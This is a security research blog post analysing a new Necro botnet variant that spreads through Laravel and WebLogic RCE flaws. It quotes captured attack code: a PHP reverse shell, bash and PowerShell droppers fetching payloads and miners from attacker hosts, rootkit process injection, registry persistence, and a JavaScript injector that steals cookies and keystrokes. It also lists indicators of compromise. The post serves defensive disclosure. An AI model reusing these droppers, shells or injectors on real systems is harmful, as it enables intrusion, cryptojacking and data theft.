Necro upgrades again, using Tor + dynamic domain DGA and aiming at both Windows & Linux
<!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>Back in January, we blogged about a new botnet <a href="__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/">Necro</a> and shortly after our report, it stopped spreading. On March 2nd, we noticed a new variant of Necro showing up on our BotMon tracking radar March 2nd, the BotMon system has detected that Necro has started spreading again, in addition to the previous TerraMaster RCE (CVE_2020_35665) and Zend RCE (CVE-2021-3007), two newer vulnerabilities Laravel RCE (CVE-2021-3129) and WebLogic RCE ( CVE-2020-14882) have been added, the following graphic shows the trend.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/exp_scan_trend_20k-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>We found that after a month of silence the new version of Necro has been significantly changed and further enhanced, the following is a summary:</p>
<ol>
<li>Start to attack Windws system and use Rootkit to hide itself on Windows platform.</li>
<li>&quot;subdomain DGA + dynamic domain name&quot; are being used to generate C2 domains</li>
<li>C2 communication support Tor, and a Tor-based DDoS attacks has been added.</li>
<li>It propagates <a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a> against specific Linux targets.</li>
<li>It tampers with the web service page on the victim machine to perform browser mining, as well as stealing user data, turning the user's browser into DDos bot, and hash cracking.</li>
</ol>
<p>We mentioned earlier this month that <a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a> and Necro are released by same group, the so-called Keksec, the functions of this new Nerco is shown below</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/necro_attack_flow-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>It is worth noting that we have seen two samples of the new version, one uses Tor for C2 and one generates C2 by using &quot;subdomain DGA + dynamic domain.</p>
<h2 id="sampleanalysis">Sample Analysis</h2>
<h3 id="scanningandpropagation">Scanning and propagation</h3>
<ul>
<li>Laravel RCE (CVE-2021-3129)</li>
</ul>
<p>The exploit of this vulnerability uses a reverse shell to first download a bash script, as shown in the following figure.</p>
<pre><code>ZCgAMCXTa='php -r \'$sock=fsockopen(&quot;'+self.YxqCRypO+'&quot;,9999);$proc=proc_open(&quot;/bin/sh -i&quot;, array(0=&gt;$sock, 1=&gt;$sock, 2=&gt;$sock),$pipes);\''
        ZCgAMCXTa=ZCgAMCXTa.replace('/', '\/')
</code></pre>
<p>The downloaded bash script functions as follows.</p>
<ol>
<li>Download and execute another script <code>malware.sh</code>.</li>
<li>Download and execute <a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>.</li>
<li>Download and execute the mining program.</li>
</ol>
<p>Here is a bash script we captured.</p>
<pre><code>wget http://kek.gay/malware.sh -O malware.sh
sh malware.sh
rm -f malware.sh
cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;
wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f  IObeENwjx64
...
export ARGS=&quot;-o 45.145.185.83:9050&quot;
export LINE=&quot;[ ! -f /tmp/.apid ] &amp;&amp; echo &gt; /tmp/.apid;./.1/sshd $ARGS  &gt;&gt; /dev/null;./.2/sshd $ARGS &gt;&gt; /dev/null &amp;&quot;
echo &quot;$LINE&quot; &gt; ./.backup.sh
curl http://45.145.185.83/xmrig1 -O
wget http://45.145.185.83/xmrig1 -O xmrig1
mkdir ./.1;mv -f xmrig1 ./.1/sshd
...
chmod +x ./.backup.sh;
sh ./.backup.sh &amp;
exit

</code></pre>
<p>One of the malware.sh scripts is used to download and execute a new version of Necro, as shown below.</p>
<pre><code>#pkill -9 python
wget http://45.144.225.96/benchmark.py -O benchmark.py
python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py
</code></pre>
<ul>
<li>WebLogic RCE (CVE-2020-14882)</li>
</ul>
<p>The vulnerability has two exploits, one for Linux and one for Windows.</p>
<p>The exploit for Linux uses bash, which downloads and executes both Necro (setup.py) and the mining program.</p>
<pre><code>cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r &quot;file_put_contents(\\&quot;.setup\\&quot;, file_get_contents(\\&quot;http://DOMAIN/setup\\&quot;));&quot;;curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r &quot;file_put_contents(\\&quot;.setup.py\\&quot;, file_get_contents(\\&quot;http://DOMAIN/setup.py\\&quot;));&quot;;curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS=&quot;-o DOMAIN:9050&quot;;LINE=&quot;[ ! -f $DIR/.pidfile ] &amp;&amp; echo &gt; $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS &gt;&gt; /dev/null||./sshd $ARGS &gt;&gt; /dev/null &amp;&quot;;cd $DIR;echo &quot;$LINE&quot; &gt; $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh
</code></pre>
<p>The Windows exploit uses Powershell, which first downloads the packaged Pyhton 2.7 executable (py.exe), then downloads and executes Necro (setup.py).</p>
<pre><code>&quot;@powershell -NoProfile -ExecutionPolicy unrestricted -Command \&quot;(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\&quot; &amp; .\python.exe setup.py
</code></pre>
<h3 id="attackwindowssystem">Attack Windows system</h3>
<p>From the above analysis, we can see that some WebLogic servers are running on Windows OS, and the KekSec group is obviously interested in these hosts as well. After the sample is started, if the underlying operating system is detected as Windows then py.exe will be copied to <code>USERPROFILE\\$6829.exe</code>, the code is shown in the following figure.</p>
<pre><code>if os.name == 'nt':
    try:
        sys.argv[1]
    except IndexError:
        subprocess.Popen(GetCommandLine() + &quot; 1&quot;, creationflags=8, close_fds=True)
        os.kill(os.getpid(),9)
    ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)
    if GetLastError() == ERROR_ALREADY_EXISTS:
       os.kill(os.getpid(),9)
    if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):
        try:
            shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\$6829.exe')
            os.startfile(os.getenv('USERPROFILE') + '\\$6829.exe')
            os.kill(os.getpid(),9)
        except:
            pass
    else:

</code></pre>
<p>Necro will then download a file named <code>x86.dll</code> or <code>x64.dll</code> depending on the platform of choice:.</p>
<pre><code>        try:
            shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\$6829.exe')
        except:
            pass
    try:
        if platform.architecture()[0].replace(&quot;bit&quot;,&quot;&quot;) == &quot;32&quot;:
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())
        else:
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())
        threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()
    except:
        pass
</code></pre>
<p>This dll file corresponds to an open source Rootkit project <a href="https://github.com/bytecode77/r77-rootkit">r77-rootkit</a>, which according to the project description can fully hide specific processes:.</p>
<pre><code>r77 is a ring 3 Rootkit that hides following entities from all processes:

Files, directories, named pipes, scheduled tasks
Processes
CPU usage
Registry keys &amp; values
TCP &amp; UDP connections
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.
</code></pre>
<p>Necro will then load the rootkit using a piece of shellcode using process injection from another open source project, <a href="https://github.com/monoxgas/sRDI/blob/master/Python/ShellcodeRDI.py">sRDI</a>, which uses the following shellcode.</p>
<pre><code>    # pack rootkit and shellcode
    ...
       gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x48\x89\xf4'
        gwObVdGd += b'\x5e'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo
    else:
    ...
        gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x83\xc4\x14'
        gwObVdGd += b'\xc9'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW
    
    # inject process
     FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)
    if not FfyiMaCpdR:
        cJaQhosf -= 1
        return
    llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)
    windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)
    if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):
</code></pre>
<p>Finally, Necro will register the bootstrap item to <code>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>:</p>
<pre><code>        if os.name == 'nt':
            try:
                aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
                aKey = OpenKey(aReg, r&quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot;, 0, KEY_WRITE)
                SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\$6829.exe ' + os.path.r)
                windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)
            except:
                pass
</code></pre>
<h3 id="usingtorcommunication">Using Tor communication</h3>
<p>Since we have seen the KekSec group using Tor to hide the real C2 in <a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>, we are not surprised that the new version of Necro supports Tor. What surprised us is that Necro actually integrates a Tor proxy-based DDoS attack method.</p>
<p>The Tor C2 communication code is as follows, and you can see the IPs and ports of multiple Tor proxies integrated in it.</p>
<pre><code>try:
    import socks
except:
    f=open('socks.py', &quot;w&quot;)
    f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())
    f.close()
    try:
        import socks
    except:
        exit(1)
    try:
        os.remove('socks.py')
        os.remove('socks.pyc')
    except:
        pass
server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']
...
self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'
self.AJEwioE='#freakyonionz'
self.Ajiowfe='FUCKWHITEHATZ'
...
</code></pre>
<p>The code of the newly added DDoS attack method <code>torflood</code> is as follows.</p>
<pre><code>            elif CjoRjhoMj[3]==&quot;:&quot; + self.cmdprefix + 'torflood':
                try:
                    import socks
                except:
                   ...
                        self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\n' % (MZqyBxdoS))
                for i in range(0, int(CjoRjhoMj[7])):
                    threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()
                self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))

</code></pre>
<h3 id="subdomaindgadynamicdomainname">Sub-domain DGA + dynamic domain name</h3>
<p>The new version of Necro updated the DGA mechanism, using DGA to generate subdomains, and then with dynamic domain names to generate the final C2 domain name. From the code we can see the there are 30 dynamic domain name services providers.</p>
<pre><code>zMuBHdcdB=0
while zMuBHdcdB &lt; 0xcc:
    zMuBHdcdB+=1
    random.seed(a=0x7774DEAD + zMuBHdcdB)
    RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()
    RaRdhjkniVY+=&quot;.&quot;+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])
    print RaRdhjkniVY
</code></pre>
<p>Nine domains are live now, and from the resolution records some domains uses IPv6 addresses.</p>
<pre><code>2021-03-09 10:50:50     2021-03-12 16:10:45     ntxkg0la99w.zapto.org   
2021-03-12 08:19:49     2021-03-12 08:19:49     xxdqj6xbjpkzhk7k.servemp3.com      
2021-03-12 10:35:11     2021-03-12 10:35:11     qb7opowcawiagia.viewdns.net     
2021-03-12 08:46:28     2021-03-12 08:46:28     v5jke3mv89fjvxgd.serveftp.com   
2021-03-12 14:59:54     2021-03-12 14:59:54     nwpzhm8ziyhdzm.redirectme.net   
2021-03-12 03:12:07     2021-03-12 03:12:07     m1afommgsdowkmegc.redirectme.net   
2021-03-12 04:56:47     2021-03-12 04:56:47     ewmhkvdcoj3.servemp3.com        
2021-03-12 08:38:17     2021-03-12 08:38:17     tfcxvcg0lkc9vpx.myftp.org       
2021-03-12 06:48:19     2021-03-12 06:48:19     bdcauhuzk0d.viewdns.net 
</code></pre>
<h3 id="jscodeembedding">JS code embedding</h3>
<p>The main purpose of Necro's JS code embedding is to inject mining code in victim’s web pages.</p>
<pre><code>elif CjoRjhoMj[3]==&quot;:&quot; + self.cmdprefix + 'injectcount':
    self.commSock.send('PRIVMSG %s :I have injected into %s files total\n' % (MZqyBxdoS, self.AkvElneS))
elif CjoRjhoMj[3]==&quot;:&quot; + self.cmdprefix + 'reinject':
    threading.Thread(target=self.OLkEqimhli).start()
    self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\n' % (MZqyBxdoS))
</code></pre>
<p>Necro will first traverse the <code>'*.js', '*.html', '*.htm', '*.php'</code> files in the specified directory of the infected device to find the target of injection.</p>
<pre><code>if os.name != &quot;nt&quot;:
    self.AkvElneS=0
    for fkEoBpoAxpZc in [ele for ele in os.listdir(&quot;/&quot;) if ele not in ['proc', &quot;bin&quot;, 'sbin', 'sbin', &quot;dev&quot;, &quot;lib&quot;, 'lib64', 'lost+found', &quot;sys&quot;, 'boot', &quot;etc&quot;]]:
        for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:
            for oGADwYHVg in os.popen(&quot;find \&quot;/&quot; + fkEoBpoAxpZc + &quot;\&quot; -type f -name \&quot;&quot; + hfHpWZSupopK + &quot;\&quot;&quot;).read().split(&quot;\n&quot;):
                oGADwYHVg = oGADwYHVg.replace(&quot;\r&quot;, &quot;&quot;).replace(&quot;\n&quot;, &quot;&quot;)
                if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and &quot;npm&quot; not in oGADwYHVg and oGADwYHVg != &quot;&quot;:
                    self.chLYewdc(oGADwYHVg)
</code></pre>
<p>Once the target is found, Necro inserts a piece of code into the file.</p>
<pre><code>MnPbIqasMz=open(oGADwYHVg,&quot;rb&quot;)
            mkkzygnopRnB=MnPbIqasMz.read()
            MnPbIqasMz.close()
            fPSqTAZGgcep = kdYaxMPRdP(8)
            OGipqKBSmmTb = kdYaxMPRdP(8)
            hgOlaeQcQza = b64encode(&quot;//&quot; + self.injectCOxhTEJfB + '/campaign.js')
            fwEiSidxlgH='(function(' + OGipqKBSmmTb + &quot;, &quot; + fPSqTAZGgcep + &quot;) {&quot; + fPSqTAZGgcep + &quot; = &quot; + OGipqKBSmmTb + &quot;.createElement('script');&quot; + fPSqTAZGgcep + &quot;.type = 'text/javascript';&quot; + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + &quot;.src = atob('&quot; + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + &quot;'.replace(/&quot; + IoMfNcaVcJL + &quot;/gi, '')) + '?' + String(Math.random()).replace('0.','');&quot; + OGipqKBSmmTb + &quot;.getElementsByTagName('body')[0].appendChild(&quot; + fPSqTAZGgcep + ');}(document));'
           ...
            else:
                if oGADwYHVg.endswith(&quot;.js&quot;):
                    if 'var ' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
                else:
                    if '&lt;/body' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '&lt;/body', '&lt;script type=' + '&quot;' + 'text/javascript' + '&quot;' + &quot;&gt;&quot; + fwEiSidxlgH + '&lt;/script&gt;&lt;/body', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
            if wQARXUaaF:
                MnPbIqasMz=open(oGADwYHVg, &quot;wb&quot;)
</code></pre>
<p>The infected page will have the following additional code.</p>
<pre><code>(function(v2, v1) {
    v1 = v2.createElement('script');
    v1.type = 'text/javascript';
    v1.async = true;
    v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');
    v2.getElementsByTagName('body')[0].appendChild(v1);
}(document));
</code></pre>
<p>This small piece of code will link to a script <code>hxxp[:]//ublock-referer.dev/campaign.js</code> . Through our WebInsight system we can see that 300+ websites have been infected by Necro in the last week.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/webinsight.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>campaign.js is a highly obfuscated javascript code with a detection rate of 0 on VT.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/campaign_js_vt_0detect-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>The code uses two layers of obfuscation, it has three main functions.</p>
<ul>
<li>Mining</li>
</ul>
<p>When an end user visits the victim’s website, the browser will load a mining js script: <code>hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2</code></p>
<ul>
<li>User data stealing</li>
</ul>
<p>The code monitors 4 events <code>unload/beforeunload/popstate/pagehide</code> and then reports the data through the following two interfaces</p>
<table>
<thead>
<tr>
<th style="text-align:left">Interface</th>
<th style="text-align:left">Functions</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">/l.php</td>
<td style="text-align:left">upload keyboad records</td>
</tr>
<tr>
<td style="text-align:left">/f.php</td>
<td style="text-align:left">upload form data</td>
</tr>
</tbody>
</table>
<ul>
<li>Execute instruction</li>
</ul>
<p>When end users access victim’s website, the malicious js will be loaded, and <code>ublock-referer.dev/api.ph</code> will be called to perform various functions and send back some of the users’ data, a brief breakdown of the functions</p>
<table>
<thead>
<tr>
<th style="text-align:left">Command</th>
<th style="text-align:left">Functions</th>
<th style="text-align:center">Interface</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">cookie</td>
<td style="text-align:left">To send back cookie</td>
<td style="text-align:center">/c.php</td>
</tr>
<tr>
<td style="text-align:left">clipboard</td>
<td style="text-align:left">To send back clipboard content</td>
<td style="text-align:center">/cb.php</td>
</tr>
<tr>
<td style="text-align:left">view</td>
<td style="text-align:left">Calling iframe to load any url</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">post</td>
<td style="text-align:left">Send POST request to target</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">floodpost</td>
<td style="text-align:left">DDos a target with periodical POST requests</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">load</td>
<td style="text-align:left">Periodically adding Image objects and requesting links to specified resources to DDos a target</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">antiddos</td>
<td style="text-align:left">By adding iframes periodically and adding random strings of numbers after the target link to DDos target</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">layer4</td>
<td style="text-align:left">Periodically sending POST requests of random content of specified length range to the target (DDoS)</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">jack</td>
<td style="text-align:left">Load the specified content by creating iframe, can be used to fake or hijack webpage</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">eval</td>
<td style="text-align:left">Execute arbitrary code via the eval method</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">md5/sha1</td>
<td style="text-align:left">Perform collision attacks against MD5 with the specified length range and code table, and report back when it succeeds</td>
<td style="text-align:center">/h.php</td>
</tr>
</tbody>
</table>
<p>The corresponding C2 is still <code>hxxp[:]//ublock-referer.dev/</code>, switching between http/https according to the protocol of the compromised site</p>
<pre><code>master = window[&quot;location&quot;][&quot;protocol&quot;] + &quot;//ublock-referer.dev&quot;;
APIKey = &quot;callbackScript&quot;;
</code></pre>
<p>The URL <code>hxxps[:]//ublock-referer.dev</code> is also used to download the malicious FireFox plug-in <code>ublock_referer-1.0.0-an+fx.xpi</code>, the plug-in uses the above mentioned Javascript Bot <a href="https://github.com/Antonio24/Cloud9/blob/master/campaign.js">Cloud9</a>.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/malware_firefox_addone-1.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="codeobfuscationalgorithm">Code obfuscation algorithm</h3>
<p>This new version of Necro abandoned the original simple variable name replacement algorithm, and implemented a code morphing algorithm based on the abstract syntax tree <a href="https://docs.python.org/3/library/ast.html">AST</a>, which achieves full complete randomization of object names and higher code coverage of obfuscation, with the result that the new version of Necro sample VT detection rate of 0.</p>
<pre><code>dDojPSRD=open(ULTiBINyz,&quot;rb&quot;)
     ...
     p = ast.parse(CFiLMBZFoL)
     MiaFfQWZhb().visit(p)
     for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):
        ...
     EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
     for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
         aPpaAZnhc.append(mFVUeqoHs.name)
     EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     for ubhohFYJDo in EqDdlmuEhx:
         for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:
             if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:
                 aPpaAZnhc.append(mFVUeqoHs.name)
     ...
     hkaxeZCocag=open(ULTiBINyz,&quot;wb&quot;)
</code></pre>
<h2 id="summary">Summary</h2>
<p>Since Necro was discovered, we have been continuously following and tracking this botnet, and associated it with the KekSec group behind it, and discovered more of their activities to attack Linux devices. We will continue to keep an eye on Necro, and will disclose any new findings.</p>
<h2 id="ioc">IOC</h2>
<ul>
<li>Tor C2</li>
</ul>
<pre><code>faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion
</code></pre>
<ul>
<li>Download URL</li>
</ul>
<pre><code>http://ntxkg0la99w.zapto.org/setup.py
http://kek.gay/benchmark.py
http://kek.gay/x86.dll
http://kek.gay/x64.dll
http://kek.gay/xmrig1.py
http://kek.gay/xmrig1
http://kek.gay/py.exe
</code></pre>
<ul>
<li>JS Miner/Bot Related</li>
</ul>
<pre><code>https://cloud-miner.de/*
https://ublock-referer.dev/*
</code></pre>
<ul>
<li>Tor Proxy</li>
</ul>
<pre><code>77.238.128.166:9050
192.248.190.123:8017
192.248.190.123:8009
213.251.238.186:9050
178.62.242.15:9107
88.198.82.11:9051
52.3.115.71:9050
83.217.28.46:9050
147.135.208.44:9095
188.166.34.137:9000
103.233.206.22:179
161.97.71.22:9000
54.161.239.214:9050
194.5.178.150:666
144.91.74.241:9080
134.209.230.13:8080
201.40.122.152:9050
206.81.27.29:8080
127.0.0.1:9050
</code></pre>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on twitter, or email to netlabat 360dot cn</p>
<!--kg-card-end: markdown-->
Overview


Back in January, we blogged about a new botnet Necro and shortly after our report, it stopped spreading. On March 2nd, we noticed a new variant of Necro showing up on our BotMon tracking radar March 2nd, the BotMon system has detected that Necro has started spreading again, in addition to the previous TerraMaster RCE (CVE_2020_35665) and Zend RCE (CVE-2021-3007), two newer vulnerabilities Laravel RCE (CVE-2021-3129) and WebLogic RCE ( CVE-2020-14882) have been added, the following graphic shows the trend.


We found that after a month of silence the new version of Necro has been significantly changed and further enhanced, the following is a summary:


 1. Start to attack Windws system and use Rootkit to hide itself on Windows platform.
 2. "subdomain DGA + dynamic domain name" are being used to generate C2 domains
 3. C2 communication support Tor, and a Tor-based DDoS attacks has been added.
 4. It propagates Gafgyt_tor against specific Linux targets.
 5. It tampers with the web service page on the victim machine to perform browser mining, as well as stealing user data, turning the user's browser into DDos bot, and hash cracking.


We mentioned earlier this month that Gafgyt_tor and Necro are released by same group, the so-called Keksec, the functions of this new Nerco is shown below


It is worth noting that we have seen two samples of the new version, one uses Tor for C2 and one generates C2 by using "subdomain DGA + dynamic domain.



Sample Analysis



Scanning and propagation


 * Laravel RCE (CVE-2021-3129)


The exploit of this vulnerability uses a reverse shell to first download a bash script, as shown in the following figure.


ZCgAMCXTa='php -r \'$sock=fsockopen("'+self.YxqCRypO+'",9999);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\''
        ZCgAMCXTa=ZCgAMCXTa.replace('/', '\/')



The downloaded bash script functions as follows.


 1. Download and execute another script malware.sh.
 2. Download and execute Gafgyt_tor.
 3. Download and execute the mining program.


Here is a bash script we captured.


wget http://kek.gay/malware.sh -O malware.sh
sh malware.sh
rm -f malware.sh
cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;
wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f  IObeENwjx64
...
export ARGS="-o 45.145.185.83:9050"
export LINE="[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS  >> /dev/null;./.2/sshd $ARGS >> /dev/null &"
echo "$LINE" > ./.backup.sh
curl http://45.145.185.83/xmrig1 -O
wget http://45.145.185.83/xmrig1 -O xmrig1
mkdir ./.1;mv -f xmrig1 ./.1/sshd
...
chmod +x ./.backup.sh;
sh ./.backup.sh &
exit




One of the malware.sh scripts is used to download and execute a new version of Necro, as shown below.


#pkill -9 python
wget http://45.144.225.96/benchmark.py -O benchmark.py
python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py



 * WebLogic RCE (CVE-2020-14882)


The vulnerability has two exploits, one for Linux and one for Windows.


The exploit for Linux uses bash, which downloads and executes both Necro (setup.py) and the mining program.


